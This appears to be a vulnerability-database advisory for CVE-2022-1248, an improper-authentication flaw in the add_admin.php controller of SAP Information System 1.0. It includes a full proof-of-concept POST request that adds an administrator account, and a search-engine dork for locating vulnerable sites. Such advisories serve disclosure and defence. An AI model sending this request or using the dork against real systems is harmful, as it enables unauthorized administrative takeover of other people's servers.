SAP Information System 1.0 POST Request add_admin.php improper authentication

Summaryinfo

A vulnerability was found in SAP Information System 1.0 and classified as critical. This affects an unknown part of the file /SAP_Information_System/controllers/add_admin.php of the component POST Request Handler. Such manipulation leads to improper authentication. This vulnerability is referenced as CVE-2022-1248. It is possible to launch the attack remotely. Furthermore, an exploit is available.

Detailsinfo

A vulnerability was found in SAP Information System 1.0. It has been rated as critical. Affected by this issue is an unknown code of the file /SAP_Information_System/controllers/add_admin.php of the component POST Request Handler. The manipulation with an unknown input leads to a improper authentication vulnerability. Using CWE to declare the problem leads to CWE-287. When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Impacted is confidentiality, integrity, and availability.

The weakness was published 04/06/2022. This vulnerability is handled as CVE-2022-1248. Technical details as well as a exploit are known.

The exploit is available at vuldb.com. It is declared as proof-of-concept. By approaching the search of inurl:SAP_Information_System/controllers/add_admin.php it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1
Host: target.com
Content-Length: 345
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI
Origin: http://target.com
Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c
Connection: close

------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="username"

hacker
------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="password"

P@ssw0rd!
------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="user"

admin
------WebKitFormBoundaryYELEK8fMdX63l0iI--

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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Productinfo

Name

• SAP Information System

Version

• 1.0

License

• commercial

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

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CVSSv3info

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Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

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Entryinfo

Submitinfo

Accepted

• Submit #34203: SAP Information System 1.0.0 - Improper Authentication (by mrempy)

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